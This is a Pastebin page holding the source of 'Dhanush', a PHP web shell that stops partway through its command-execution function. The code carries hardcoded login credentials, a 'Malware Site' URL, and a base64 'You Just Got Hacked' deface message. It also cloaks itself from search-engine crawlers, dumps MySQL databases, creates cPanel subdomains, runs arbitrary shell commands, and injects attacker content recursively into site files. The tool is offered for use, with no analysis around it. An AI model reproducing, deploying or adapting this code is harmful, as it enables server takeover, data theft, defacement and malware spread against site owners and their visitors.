API tools faq
paste
thez3r0

Dhanush Decoded shell

thez3r0
Jul 10th, 2015
566
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 272.96 KB | None | 0 0
raw download clone embed print report
  1.  
  2. <?php
  3. //========================================//
  4. //========+++Dhanush+++==========//
  5. //========================================//
  6. //====+++Coded By Arjun+++===//
  7. //========================================//
  8. //=====+++An Indian Hacker+++=====//
  9. //========================================//
  10. //====Magh-2070/Feb-2014====//
  11.  
  12. // Set Username & Password
  13. $user = "Dhanush";
  14. $pass = "Dhanush";
  15.  
  16. $malsite = "http://jolygoestobeinvester.ru/"; // Malware Site
  17. $ind = "WW91IGp1c3QgZ290IGhhY2tlZCAhISEhIQ=="; // "Deface Page" Base64 encoded "You Just Got Hacked !!"
  18. $bgimage = 'http://www.datadiary.com/UserFiles/Wallpaper/holy/Org201204050407061198000.jpg'; // Background Image
  19. $my_shell_style = "orange"; // "phizo", "dhanush", "404", "orange"
  20.  
  21. $curfile = __FILE__;
  22.  
  23. ?>
  24.  
  25. <?php
  26. @set_magic_quotes_runtime(0);
  27. @ini_set('error_log',NULL);
  28. @ini_set('log_errors',0);
  29. ob_start();
  30. error_reporting(0);
  31. @set_time_limit(0);
  32. @ini_set('max_execution_time',0);
  33. @ini_set('output_buffering',0);
  34.  
  35. if(!empty($_SERVER['HTTP_USER_AGENT']))
  36. {
  37. $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
  38. if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  39. header('HTTP/1.0 404 Not Found');
  40. exit; }
  41. }
  42. // Dump Database
  43. if($_GET["action"] == "dumpDB")
  44. {
  45. $self=$_SERVER["PHP_SELF"];
  46. if(isset($_COOKIE['dbserver']))
  47. {
  48. $date = date("Y-m-d");
  49. $dbserver = $_COOKIE["dbserver"];
  50. $dbuser = $_COOKIE["dbuser"];
  51. $dbpass = $_COOKIE["dbpass"];
  52. $dbname = $_GET['dbname'];
  53. $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
  54.  
  55. $file = "Dump-$dbname-$date";
  56.  
  57. $file="Dump-$dbname-$date.sql";
  58. $fp = fopen($file,"w");
  59.  
  60. function write($data)
  61. {
  62. global $fp;
  63.  
  64. fwrite($fp,$data);
  65.  
  66. }
  67. mysql_connect ($dbserver, $dbuser, $dbpass);
  68. mysql_select_db($dbname);
  69. $tables = mysql_query ("SHOW TABLES");
  70. while ($i = mysql_fetch_array($tables))
  71. {
  72. $i = $i['Tables_in_'.$dbname];
  73. $create = mysql_fetch_array(mysql_query ("SHOW CREATE TABLE ".$i));
  74. write($create['Create Table'].";");
  75. $sql = mysql_query ("SELECT * FROM ".$i);
  76. if (mysql_num_rows($sql)) {
  77. while ($row = mysql_fetch_row($sql)) {
  78. foreach ($row as $j => $k) {
  79. $row[$j] = "'".mysql_escape_string($k)."'";
  80. }
  81. write("INSERT INTO $i VALUES(".implode(",", $row).");");
  82. }
  83. }
  84. }
  85.  
  86. fclose ($fp);
  87.  
  88. header("Content-Disposition: attachment; filename=" . $file);
  89. header("Content-Type: application/download");
  90. header("Content-Length: " . filesize($file));
  91. flush();
  92.  
  93. $fp = fopen($file, "r");
  94. while (!feof($fp))
  95. {
  96. echo fread($fp, 65536);
  97. flush();
  98. }
  99. fclose($fp);
  100. }
  101. }
  102. $hs_dhanush = "<style type=\"text/css\">
  103. <!--
  104.  
  105. body,td,th {
  106. color: #FF0000;
  107. font-size: 14px;
  108. }
  109. tr:hover.lines
  110. {
  111. background-color:#000000;}
  112. tr.lines
  113. {
  114. background-color:#0C0C0C;}
  115. div.fixedbox
  116. {
  117. width:70%;
  118. padding:8px;
  119. background-color:#171717;
  120. position:fixed;
  121. left:15%;
  122. top:120px;
  123. box-shadow: 0px 0px 10px #000;
  124. -moz-border-radius: 5px 5px 5px 5px;
  125. -webkit-border-radius: 5px 5px 5px 5px;
  126. border-radius: 5px 5px 5px 5px;
  127. }
  128. div.logindiv{
  129. background-color:#171717; }
  130. table.btmtbl{
  131. border-collapse:collapse;
  132. border-color:red;}
  133. td.btmtbl{
  134. border-color:red;}
  135. input.but {
  136. background-color:#000000;
  137. color:#FF0000;
  138. border : 1px solid #1B1B1B;
  139. }
  140. a:link {
  141. color: #00FF00;
  142. text-decoration:none;
  143. font-weight:500;
  144. }
  145. a:hover {
  146. color:#00FF00;
  147. text-decoration:underline;
  148. }
  149. font.txt
  150. {
  151. color: #00FF00;
  152. text-decoration:none;
  153. font-size:14px;
  154. }
  155. font.om
  156. {
  157. color: #00FF00;
  158. }
  159. /* Write Permission Font */
  160. font.wrtperm
  161. {
  162. color:#00FF00;
  163. }
  164. /* Read Permission Font */
  165. font.readperm
  166. {
  167. color:#FF0000;
  168. }
  169. /* No Permission Font */
  170. font.noperm
  171. {
  172. color:#FFFFFF;
  173. }
  174. font.mainmenu
  175. {
  176. color:#FF0000;
  177. text-decoration:none;
  178. font-size:14px;
  179. }
  180. a:visited {
  181. color: #FF0000;
  182. }
  183. input.box
  184. {
  185. background-color:#0C0C0C;
  186. color: lime;
  187. border : 1px solid #1B1B1B;
  188. -moz-border-radius:6px;
  189. width:400;
  190. border-radius:6px;
  191. }
  192. input.sbox
  193. {
  194. background-color:#0C0C0C;
  195. color: lime;
  196. border : 1px solid #1B1B1B;
  197. -moz-border-radius:6px;
  198. width:180;
  199. border-radius:6px;
  200. }
  201. select.sbox
  202. {
  203. background-color:#0C0C0C;
  204. color: lime;
  205. border : 1px solid #1B1B1B;
  206. -moz-border-radius:6px;
  207. width:180;
  208. border-radius:6px;
  209. }
  210. select.box
  211. {
  212. background-color:#0C0C0C;
  213. color: lime;
  214. border : 1px solid #1B1B1B;
  215. -moz-border-radius:6px;
  216. width:400;
  217. border-radius:6px;
  218. }
  219.  
  220. textarea.box
  221. {
  222. border : 3px solid #111;
  223. background-color:#161616;
  224. color : lime;
  225. margin-top: 10px;
  226. -moz-border-radius:7px;
  227. border-radius:7px;
  228. }
  229. body {
  230. background-color:#000000;
  231. }
  232. .myphp table
  233. {
  234. width:100%;
  235. padding:18px 10px;
  236. border : 1px solid #1B1B1B;
  237. }
  238. .myphp td
  239. {
  240. background:#111111;
  241. color:#00ff00;
  242. padding:6px 8px;
  243. border-bottom:1px solid #222222;
  244. font-size:14px;
  245. }
  246. .myphp th, th
  247. {
  248. background:#181818;
  249.  
  250. }
  251. -->
  252. </style>";
  253. $hs_orange = "<style type=\"text/css\">
  254. <!--
  255. body {
  256. background-image:url($bgimage);
  257. background-color:#000000;
  258. background-repeat:no-repeat;
  259. background-attachment:fixed;
  260. }
  261. /* Shell Title Color*/
  262. span.headtitle
  263. {
  264. color:#F90;
  265. text-decoration:none;
  266.  
  267. }
  268. /* Login Page div*/
  269. div.logindiv
  270. {
  271. background-color:#000000;
  272. opacity:0.5;
  273. width:50%;
  274. border-radius:7px;
  275. margin-top:150px;
  276. -moz-border-radius:25px;
  277. height:410px;
  278. border: solid 1px
  279. #878787;
  280. border-radius: 13px;
  281. box-shadow: 0px 0px 10px
  282. black;
  283. }
  284. div.fixedbox
  285. {
  286. width:70%;
  287. padding:8px;
  288. background-color:#171717;
  289. position:fixed;
  290. left:15%;
  291. top:120px;
  292. box-shadow: 0px 0px 35px #000;
  293. -moz-border-radius: 5px 5px 5px 5px;
  294. -webkit-border-radius: 5px 5px 5px 5px;
  295. border-radius: 5px 5px 5px 5px;
  296. }
  297. table.tbl
  298. {
  299. border:#F90;
  300. }
  301. body,td,th {
  302. color: #F90;
  303. font-size: 14px;
  304. }
  305. table.btmtbl{
  306. border-collapse:collapse;
  307. border-color:#F90;}
  308. td.btmtbl{
  309. border-color:#F90;}
  310. /* Present Working Directory Table */
  311. table.pwdtbl
  312. {
  313. border-color:#F90;
  314. }
  315. /* File List Hover */
  316. tr.lines:hover
  317. {
  318. background-color:#666666;
  319. opacity:0.5;
  320. }
  321. /* File List */
  322. tr.lines
  323. {
  324. height:12px;
  325. }
  326. /* Functions Config */
  327. td.myfun
  328. {
  329. display: inline;
  330. padding: 1px;
  331. margin: 5px;
  332. border: 1px solid #AAA;
  333. border-radius: 4px;
  334. -moz-border-radius:4px;
  335. box-shadow: 0px 0px 2px #000;
  336. }
  337. /* Functions Config Hover */
  338. td.myfun:hover
  339. {
  340. box-shadow: 0px 0px 2px #FF0;
  341. }
  342. /* Button Config */
  343. input.but {
  344. border: 1px solid #F90;
  345. background-color:#000000;
  346. color:#FFFFFF;
  347.  
  348. box-shadow: 0px 0px 2px #F90 inset;
  349. }
  350. /* Link Config */
  351. a:link {
  352. color: #F90;
  353. text-decoration:none;
  354. font-weight:500;
  355. }
  356. /* Link Config Hover */
  357. a:hover {
  358. color:#666666;
  359. text-decoration:underline;
  360. }
  361. /* Link Config Visited */
  362. a:visited {
  363. color: #F90;
  364. text-decoration:none;
  365. }
  366. /* font Config */
  367. font.txt
  368. {
  369. color: #FFFFFF;
  370. text-decoration:none;
  371. font-size:13px;
  372. }
  373. font.om
  374. {
  375. color: #F90;
  376. }
  377. /* Function Font Config */
  378. font.fun
  379. {
  380. color:#F90;
  381. }
  382. /* Write Permission Font */
  383. font.wrtperm
  384. {
  385. color:#F90;
  386. }
  387. /* Read Permission Font */
  388. font.readperm
  389. {
  390. color:#FF0000;
  391. }
  392. /* No Permission Font */
  393. font.noperm
  394. {
  395. color:#FFFFFF;
  396. }
  397. /* Upload File Config */
  398. input.upld
  399. {
  400. width:400;
  401. margin:0;color:#FFFFFF;background-color:#000;border:1px solid #F90; font: 9pt Monospace,\"Courier New\";
  402. }
  403. /* Input TextBox Config */
  404. input.box
  405. {
  406. width:400;
  407. margin:0;color:#FFFFFF;background-color:#000;border:1px solid #F90; font: 9pt Monospace,\"Courier New\";
  408. }
  409. /* Input Small TextBox Config */
  410. input.sbox
  411. {
  412. width:180;
  413. margin:0;color:#FFFFFF;background-color:#000;border:1px solid #F90; font: 9pt Monospace,\"Courier New\";
  414. }
  415. /* Input Small SelectBox Config */
  416. select.sbox
  417. {
  418. width:180;
  419. margin:0;color:#FFFFFF;background-color:#000;border:1px solid #F90; font: 9pt Monospace,\"Courier New\";
  420. }
  421. /* Input SelectBox Config */
  422. select.box
  423. {
  424. width:400;
  425. margin:0;color:#FFFFFF;background-color:#000;border:1px solid #F90; font: 9pt Monospace,\"Courier New\";
  426. }
  427. /* TextArea Config */
  428. textarea.box
  429. {
  430. border: 1px solid #F90;
  431. color:#FFFFFF;
  432. margin-top: 10px;
  433. box-shadow: 0px 0px 3px #F90 inset;
  434. background-color: #000000;
  435. opacity: 0.50;
  436. }
  437. .myphp table
  438. {
  439. width:100%;
  440. padding:18px 10px;
  441. border: 1px solid #F90;
  442. }
  443. .myphp td
  444. {
  445. padding:6px 8px;
  446. border-bottom:1px solid #222222;
  447. font-size:14x;
  448. }
  449.  
  450. -->
  451. </style>";
  452. $hs_404 = "<style type=\"text/css\">
  453. <!--
  454. span.headtitle
  455. {
  456. color:#00ff00;
  457. text-decoration:none;
  458.  
  459. }
  460. body, th{
  461. color:#00ff00;
  462. background-color:#000000;
  463. font-size: 13px;
  464. }
  465. div.logindiv{
  466. background-color:#171717; }
  467. div.fixedbox
  468. {
  469. width:70%;
  470. padding:8px;
  471. background-color:#171717;
  472. position:fixed;
  473. left:15%;
  474. top:120px;
  475. box-shadow: 0px 0px 35px #000;
  476. -moz-border-radius: 5px 5px 5px 5px;
  477. -webkit-border-radius: 5px 5px 5px 5px;
  478. border-radius: 5px 5px 5px 5px;
  479. }
  480. table.tbl
  481. {
  482. border:#00ff00;
  483. }
  484. table.btmtbl{
  485. border-collapse:collapse;
  486. border-color:lime;}
  487. td.btmtbl{
  488. border-color:lime;}
  489. tr.lines:hover
  490. {
  491. background-color:#5e5e5e;
  492. }
  493. tr.lines
  494. {
  495. background-color:#000000;
  496. height:12px;
  497. font-size: 14px;
  498. }
  499. td.myfun
  500. {
  501. border-style:none;
  502. margin: 5px;
  503. }
  504. td.myfun:hover
  505. {
  506. box-shadow: 0px 0px 2px #FF0;
  507. }
  508. input.but {
  509. margin:0;color:#00ff00;background-color:#000;border:1px solid #00ff00; font: 9pt Monospace,\"Courier New\";
  510. }
  511. a:link {
  512. color: #00ff00;
  513. text-decoration:none;
  514. font-weight:500;
  515. }
  516. a:visited
  517. {
  518. color:#00ff00;
  519. }
  520. a:hover {
  521. background:#ff0000;
  522. }
  523. font.mainmenu
  524. {
  525. font-size:14px;
  526. }
  527. font.txt
  528. {
  529. color: #FFFFFF;
  530. text-decoration:none;
  531. font-size:13px;
  532. }
  533. font.om
  534. {
  535. color:#00FF00;
  536. }
  537. font.fun
  538. {
  539.  
  540. color:#00ff00;
  541. }
  542. font.wrtperm
  543. {
  544. color:#00ff00;
  545. }
  546. font.readperm
  547. {
  548. color:#FF0000;
  549. }
  550. font.noperm
  551. {
  552. color:#FFFFFF;
  553. }
  554. input.upld
  555. {
  556. width:400;
  557. margin:0;color:#00ff00;background-color:#000;border:1px solid #00ff00; font: 9pt Monospace,\"Courier New\";
  558. }
  559. input.box
  560. {
  561. width:400;
  562. margin:0;color:#00ff00;background-color:#000;border:1px solid #00ff00; font: 9pt Monospace,\"Courier New\";
  563. }
  564. input.sbox
  565. {
  566. width:180;
  567. margin:0;color:#00ff00;background-color:#000;border:1px solid #00ff00; font: 9pt Monospace,\"Courier New\";
  568. }
  569. select.sbox
  570. {
  571. width:180;
  572. margin:0;color:#00ff00;background-color:#000;border:1px solid #00ff00; font: 9pt Monospace,\"Courier New\";
  573. }
  574. select.box
  575. {
  576. width:400;
  577. margin:0;color:#00ff00;background-color:#000;border:1px solid #00ff00; font: 9pt Monospace,\"Courier New\";
  578. }
  579.  
  580. textarea.box
  581. {
  582. margin:0;color:#00ff00;background-color:#000;border:1px solid #00ff00; font: 9pt Monospace,\"Courier New\";
  583. }
  584. .myphp table
  585. {
  586. width:100%;
  587. padding:18px 10px;
  588. border : 1px solid #00FF00;
  589. }
  590. .myphp td
  591. {
  592. background:#111111;
  593. color:#00ff00;
  594. padding:6px 8px;
  595. border-bottom:1px solid #222222;
  596. font-size:13px;
  597. }
  598. .myphp th,
  599. {
  600. background:#181818;
  601.  
  602. }
  603. -->
  604. </style>";
  605. $hs_phizo = "<style type=\"text/css\">
  606. <!--
  607. span.headtitle
  608. {
  609. color:#000000;
  610. text-decoration:none;
  611.  
  612. }
  613. div.logindiv
  614. {
  615. background-color:#CCC;
  616. width:50%;
  617. border-radius:7px;
  618. margin-top:150px;
  619. -moz-border-radius:25px;
  620. height:410px;
  621. border: solid 1px
  622. #878787;
  623. border-radius: 13px;
  624. box-shadow: 0px 0px 10px
  625. black;
  626. }
  627. div.fixedbox
  628. {
  629. width:70%;
  630. padding:8px;
  631. background-color:#999999;
  632. position:fixed;
  633. left:15%;
  634. top:120px;
  635. box-shadow: 0px 0px 10px #000;
  636. -moz-border-radius: 5px 5px 5px 5px;
  637. -webkit-border-radius: 5px 5px 5px 5px;
  638. border-radius: 5px 5px 5px 5px;
  639. }
  640. body,td,th {
  641. color: #000000;
  642. font-size: 14px;
  643. }
  644. table.pwdtbl
  645. {
  646. width:95%;
  647. background-color:#999999;
  648. -moz-border-radius:25px;
  649. border-radius:25px;
  650. }
  651. table#maintable
  652. {
  653. background-color: #999999;
  654. border: solid 1px #878787;
  655. border-radius: 13px;
  656. box-shadow: 0px 0px 10px #000;
  657. width: 100%;
  658. margin: auto;
  659. height: auto;
  660. }
  661. tr.lines:hover
  662. {
  663. background-color:#C0C0C0;
  664. }
  665. tr.lines
  666. {
  667. background-color:#999999;
  668. height:12px;
  669. }
  670. td.myfun
  671. {
  672. display: inline;
  673. padding: 1px;
  674. margin: 5px;
  675. border: 1px solid #AAA;
  676. border-radius: 4px;
  677. -moz-border-radius:4px;
  678. box-shadow: 0px 0px 2px #000;
  679. }
  680. td.myfun:hover
  681. {
  682. box-shadow: 0px 0px 2px #FF0;
  683. }
  684. input.but {
  685. border: 1px solid #787878;
  686. border-radius: 5px;
  687. box-shadow: 0px 0px 2px #000 inset;
  688. }
  689. a:link,a:visited {
  690. color: #000000;
  691. text-decoration:none;
  692. font-weight:500;
  693. }
  694. a:hover {
  695. color:#666666;
  696. text-decoration:underline;
  697. }
  698. font.mainmenu
  699. {
  700. display: inline;
  701. padding: 1px;
  702. border: 1px solid #AAA;
  703. border-radius: 4px;
  704. box-shadow: 0px 0px 2px #000;
  705. text-decoration: none;
  706. font-weight: bold;
  707. color: #696969;
  708. }
  709. font.txt
  710. {
  711. color: #000000;
  712. text-decoration:none;
  713. font-size:13px;
  714. }
  715. font.om
  716. {
  717. color:#000000;
  718. }
  719. font.fun
  720. {
  721. color: #696969;
  722. }
  723. font.wrtperm
  724. {
  725. color:#000000;
  726. }
  727. font.readperm
  728. {
  729. color:#000000;
  730. }
  731. font.noperm
  732. {
  733. color:#000000;
  734. }
  735. input.upld
  736. {
  737. border: 1px solid #787878;
  738. box-shadow: 0px 0px 3px #000 inset;
  739. background-color: #AAA;
  740. font-family: Courier;
  741. -moz-border-radius:6px;
  742. width:400;
  743. border-radius:6px;
  744. }
  745. input.box
  746. {
  747. border: 1px solid #787878;
  748. box-shadow: 0px 0px 3px #000 inset;
  749. background-color: #AAA;
  750. font-family: Courier;
  751. -moz-border-radius:6px;
  752. width:400;
  753. border-radius:6px;
  754. }
  755. input.sbox
  756. {
  757. border: 1px solid #787878;
  758. box-shadow: 0px 0px 3px #000 inset;
  759. background-color: #AAA;
  760. font-family: Courier;
  761. -moz-border-radius:6px;
  762. width:180;
  763. border-radius:6px;
  764. }
  765. select.sbox
  766. {
  767. border: 1px solid #787878;
  768. box-shadow: 0px 0px 3px #000 inset;
  769. background-color: #AAA;
  770. font-family: Courier;
  771. -moz-border-radius:6px;
  772. width:180;
  773. border-radius:6px;
  774. }
  775. select.box
  776. {
  777. border: 1px solid #787878;
  778. box-shadow: 0px 0px 3px #000 inset;
  779. background-color: #AAA;
  780. font-family: Courier;
  781. -moz-border-radius:6px;
  782. width:400;
  783. border-radius:6px;
  784. }
  785.  
  786. textarea.box
  787. {
  788. border: 1px solid #787878;
  789. margin-top: 10px;
  790. -moz-border-radius:7px;
  791. box-shadow: 0px 0px 3px #000 inset;
  792. background-color: #AAA;
  793. }
  794. textarea:focus
  795. {
  796. box-shadow: 0px 0px 3px #FF0 inset;
  797. }
  798. body {
  799. background-color:#C0C0C0;
  800. }
  801. .myphp table
  802. {
  803. width:100%;
  804. padding:18px 10px;
  805. border : 1px solid #1B1B1B;
  806. }
  807. .myphp td
  808. {
  809. /*background:#111111; */
  810. color:#000000;
  811. padding:6px 8px;
  812. border-bottom:1px solid #222222;
  813. font-size:14px;
  814. }
  815. .myphp th, th
  816. {
  817. background:#999999;
  818.  
  819. }
  820. -->
  821. </style>";
  822.  
  823. if($_COOKIE['style']=='dhanush')
  824. $shellstyle = $hs_dhanush;
  825. elseif($_COOKIE['style']=='404')
  826. $shellstyle = $hs_404;
  827. elseif($_COOKIE['style']=='orange')
  828. $shellstyle = $hs_orange;
  829. elseif($_COOKIE['style']=='phizo')
  830. $shellstyle = $hs_phizo;
  831. else
  832. {
  833. if($my_shell_style == "phizo")
  834. $shellstyle = $hs_phizo;
  835. elseif($my_shell_style=='dhanush')
  836. $shellstyle = $hs_dhanush;
  837. elseif($my_shell_style=='404')
  838. $shellstyle = $hs_404;
  839. elseif($my_shell_style=='orange')
  840. $shellstyle = $hs_orange;
  841. }
  842. if(isset($_COOKIE['hacked']) && $_COOKIE['hacked']==md5($pass))
  843. {
  844. $self=$_SERVER["PHP_SELF"];
  845. $os = "N/D";
  846. $bdmessage = null;
  847. $dir = getcwd();
  848.  
  849. $url = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF'];
  850. $path=explode('/',$url);
  851. $curr_url =str_replace($path[count($path)-1],'',$url);
  852.  
  853. if(strtolower(substr(PHP_OS,0,3)) == "win")
  854. {
  855. $SEPARATOR = '\\';
  856. $os = "Windows";
  857. $directorysperator="\\";
  858. }
  859. else
  860. {
  861. $os = "Linux";
  862. $directorysperator='/';
  863. }
  864. function Trail($d,$directsperator)
  865. {
  866. $d=explode($directsperator,$d);
  867. array_pop($d);
  868. array_pop($d);
  869. $str=implode($d,$directsperator);
  870. return $str;
  871. }
  872.  
  873. function randomt()
  874. {
  875. $chars = "abcdefghijkmnopqrstuvwxyz023456789";
  876. srand((double)microtime()*1000000);
  877. $i = 0;
  878. $pass = '' ;
  879.  
  880. while ($i <= 7)
  881. {
  882. $num = rand() % 33;
  883. $tmp = substr($chars, $num, 1);
  884. $pass = $pass . $tmp;
  885. $i++;
  886. }
  887. return $pass;
  888. }
  889. function make_subdomain($subDomain,$cPanelUser,$cPanelPass,$subindex)
  890. {
  891. $rootDomain = $_SERVER['SERVER_NAME'];
  892. $buildRequest = "/frontend/x3/subdomain/doadddomain.html?rootdomain=" . $rootDomain . "&domain=" . $subDomain . "&dir=public_html/" . $subDomain;
  893.  
  894. $openSocket = fsockopen('localhost',2082);
  895. if(!$openSocket) {
  896. return "Socket error<BR>";
  897. }
  898.  
  899. $authString = $cPanelUser . ":" . $cPanelPass;
  900. $authPass = base64_encode($authString);
  901. $buildHeaders = "GET " . $buildRequest ."\r\n";
  902. $buildHeaders .= "HTTP/1.0\r\n";
  903. $buildHeaders .= "Host:localhost\r\n";
  904. $buildHeaders .= "Authorization: Basic " . $authPass . "\r\n";
  905. $buildHeaders .= "\r\n";
  906.  
  907. fputs($openSocket, $buildHeaders);
  908. while(!feof($openSocket)) {
  909. fgets($openSocket,128);
  910. }
  911. fclose($openSocket);
  912. // create index file
  913. @chdir($subDomain);
  914. $file5 = fopen("index.html","w");
  915. fputs($file5,$subindex);
  916. fclose($file5);
  917. $newDomain = "http://" . $subDomain . "." . $rootDomain . "/<BR>";
  918.  
  919. return $newDomain;
  920. }
  921.  
  922. // Database functions
  923. function listdatabase()
  924. {
  925. $self=$_SERVER["PHP_SELF"];
  926. ?>
  927. <br>
  928. <form>
  929. <table>
  930. <tr>
  931. <td><input type="text" class="box" name="dbname"></td>
  932. <td><input type="button" onClick="viewtables('createDB',dbname.value)" value=" Create Database " class="but"></td>
  933. </tr>
  934. </table>
  935. </form>
  936. <br>
  937. <?php
  938. $mysqlHandle = mysql_connect ($_COOKIE['dbserver'], $_COOKIE['dbuser'], $_COOKIE['dbpass']);
  939. $result = mysql_query("SHOW DATABASE");
  940. echo "<table class=btmtbl cellspacing=1 cellpadding=5 border=1 style=width:60%;>\n";
  941.  
  942. $pDB = mysql_list_dbs( $mysqlHandle );
  943. $num = mysql_num_rows( $pDB );
  944. for( $i = 0; $i < $num; $i++ )
  945. {
  946. $dbname = mysql_dbname( $pDB, $i );
  947. mysql_select_db($dbname,$mysqlHandle);
  948. $result = mysql_query("SHOW TABLES");
  949. $num_of_tables = mysql_num_rows($result);
  950. echo "<tr>\n";
  951. echo "<td><a href=# onClick=\"viewtables('listTables','$dbname')\"><font size=3>$dbname</font></a> ($num_of_tables)</td>\n";
  952. echo "<td><a href=# onClick=\"viewtables('listTables','$dbname')\">Tables</a></td>\n";
  953. echo "<td><a href=# onClick=\"viewtables('dropDB','$dbname')\">Drop</a></td>\n";
  954. echo "<td><a href='$self?action=dumpDB&dbname=$dbname' onClick=\"return confirm('Dump Database \'$dbname\'?')\">Dump</a></td>\n";
  955. echo "</tr>\n";
  956. }
  957. echo "</table>\n";
  958. mysql_close($mysqlHandle);
  959. }
  960.  
  961. function listtable()
  962. {
  963. $self=$_SERVER["PHP_SELF"];
  964. $dbserver = $_COOKIE["dbserver"];
  965. $dbuser = $_COOKIE["dbuser"];
  966. $dbpass = $_COOKIE["dbpass"];
  967. $dbname = $_GET['dbname'];
  968. echo "<div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>&gt;</font> <a href=# onClick=\"viewtables('viewdb')\"> <font size=3>Database List</font> </a> &nbsp; <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
  969. ?>
  970. <br><br>
  971. <form>
  972. <table>
  973.  
  974. <tr>
  975. <td><input type="text" class="box" name="tablename"></td>
  976. <td><input type="button" onClick="viewtables('createtable','<?php echo $_GET['dbname'];?>')" value=" Create Table " name="createmydb" class="but"></td>
  977. </tr>
  978. </table>
  979.  
  980. <br>
  981. <form>
  982. <table>
  983. <tr>
  984. <td><textarea cols="60" rows="7" name="executemyquery" class="box">Execute Query..</textarea></td>
  985. </tr>
  986. <tr>
  987. <td><input type="button" onClick="viewtables('executequery','<?php echo $_GET['dbname'];?>','<?php echo $_GET['tablename']; ?>','','',executemyquery.value)" value="Execute" class="but"></td>
  988. </tr>
  989. </table>
  990. </form>
  991.  
  992. <?php
  993.  
  994. $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
  995.  
  996. mysql_select_db($dbname);
  997. $pTable = mysql_list_tables( $dbname );
  998.  
  999. if( $pTable == 0 ) {
  1000. $msg = mysql_error();
  1001. echo "<h3>Error : $msg</h3><p>\n";
  1002. return;
  1003. }
  1004. $num = mysql_num_rows( $pTable );
  1005.  
  1006. echo "<table class=btmtbl cellspacing=1 cellpadding=5 border=1 style=width:60%;>\n";
  1007.  
  1008. for( $i = 0; $i < $num; $i++ )
  1009. {
  1010. $tablename = mysql_tablename( $pTable, $i );
  1011. $result = mysql_query("select * from $tablename");
  1012. $num_rows = mysql_num_rows($result);
  1013. echo "<tr>\n";
  1014. echo "<td>\n";
  1015. echo "<a href=# onClick=\"viewtables('viewdata','$dbname','$tablename')\"><font size=3>$tablename</font></a> ($num_rows)\n";
  1016. echo "</td>\n";
  1017. echo "<td>\n";
  1018. echo "<a href=# onClick=\"viewtables('viewSchema','$dbname','$tablename')\">Schema</a>\n";
  1019. echo "</td>\n";
  1020. echo "<td>\n";
  1021. echo "<a href=# onClick=\"viewtables('viewdata','$dbname','$tablename')\">Data</a>\n";
  1022. echo "</td>\n";
  1023. echo "<td>\n";
  1024. echo "<a href=# onClick=\"viewtables('empty','$dbname','$tablename')\">Empty</a>\n";
  1025. echo "</td>\n";
  1026. echo "<td>\n";
  1027. echo "<a href=# onClick=\"viewtables('dropTable','$dbname','$tablename')\">Drop</a>\n";
  1028. echo "</td>\n";
  1029. echo "</tr>\n";
  1030. }
  1031.  
  1032. echo "</table></form>";
  1033. mysql_close($mysqlHandle);
  1034. echo "<div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>&gt;</font> <a href=# onClick=\"viewtables('viewdb')\"> <font size=3>Database List</font> </a> &nbsp; <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
  1035. }
  1036.  
  1037.  
  1038. function paramexe($n, $v)
  1039. {
  1040. $v = trim($v);
  1041. if($v)
  1042. {
  1043. echo '<span><font size=3>' . $n . ': </font></span>';
  1044. if(strpos($v, "\n") === false)
  1045. echo '<font size=2>' . $v . '</font><br>';
  1046. else
  1047. echo '<pre class=ml1><font class=txt size=3>' . $v . '</font></pre>';
  1048. }
  1049. }
  1050. function injectdir($dir,$filetype,$mode,$lolinject)
  1051. {
  1052. if (is_dir($dir))
  1053. {
  1054. $objects = scandir($dir);
  1055. foreach ($objects as $object)
  1056. {
  1057. if ($object != '.' && $object != '..')
  1058. {
  1059. if (is_dir($dir . '/' . $object))
  1060. {
  1061. // if we find a directory, do a recursive call
  1062. injectdir($dir . '/' . $object,$filetype,$mode,$lolinject);
  1063. }
  1064. else
  1065. {
  1066. $file_parts = pathinfo($object);
  1067. if($file_parts['extension'] == $filetype)
  1068. {
  1069. if(($dir . '/' . $object) == getcwd().$_SERVER['SCRIPT_NAME'])
  1070. continue;
  1071. $fp=fopen($dir . '/' . $object,$mode);
  1072. if (fputs($fp,$lolinject))
  1073. echo '<br><font class=txt >'.$dir . '/' . $object.' was injected<br></font>';
  1074. else
  1075. echo '<font >failed to inject '.$dir . '/' . $object.'<BR></font>';
  1076. }
  1077. }
  1078. }
  1079. }
  1080. }
  1081. }
  1082. function rrmdir($dir)
  1083. {
  1084. if (is_dir($dir)) // ensures that we actually have a directory
  1085. {
  1086. $objects = scandir($dir); // gets all files and folders inside
  1087. foreach ($objects as $object)
  1088. {
  1089. if ($object != '.' && $object != '..')
  1090. {
  1091. if (is_dir($dir . '/' . $object))
  1092. {
  1093. // if we find a directory, do a recursive call
  1094. rrmdir($dir . '/' . $object);
  1095. }
  1096. else
  1097. {
  1098. // if we find a file, simply delete it
  1099. unlink($dir . '/' . $object);
  1100. }
  1101. }
  1102. }
  1103. // the original directory is now empty, so delete it
  1104. rmdir($dir);
  1105. }
  1106. }
  1107.  
  1108. function which($pr)
  1109. {
  1110. $path = execmd("which $pr");
  1111. if(!empty($path))
  1112. return trim($path);
  1113. else
  1114. return trim($pr);
  1115. }
  1116.  
  1117. function magicboom($text)
  1118. {
  1119. if (!get_magic_quotes_gpc())
  1120. return $text;
  1121. return stripslashes($text);
  1122. }
  1123. function perlshell($command)
  1124. {
  1125. $perl=new perl();
  1126. ob_start();
  1127. $perl->eval("system('".$command."')");
  1128. $exec=ob_get_contents();
  1129. ob_end_clean();
  1130. return $exec;
  1131. }
  1132. function execmd($cmd,$d_functions="None")
  1133. {
  1134. if($d_functions=="None")
  1135. {
  1136. $ret=passthru($cmd);
  1137. return $ret;
  1138. }
  1139. $funcs=array("shell_exec","exec","passthru","system","popen","perl_func");
  1140. $d_functions=str_replace(" ","",$d_functions);
  1141. $dis_funcs=explode(",",$d_functions);
  1142. foreach($funcs as $safe)
  1143. {
  1144. if(!in_array($safe,$dis_funcs))
  1145. {
  1146. if($safe=="exec")
  1147. {
  1148. $ret=@exec($cmd);
  1149. $ret=join("\n",$ret);
  1150. return $ret;
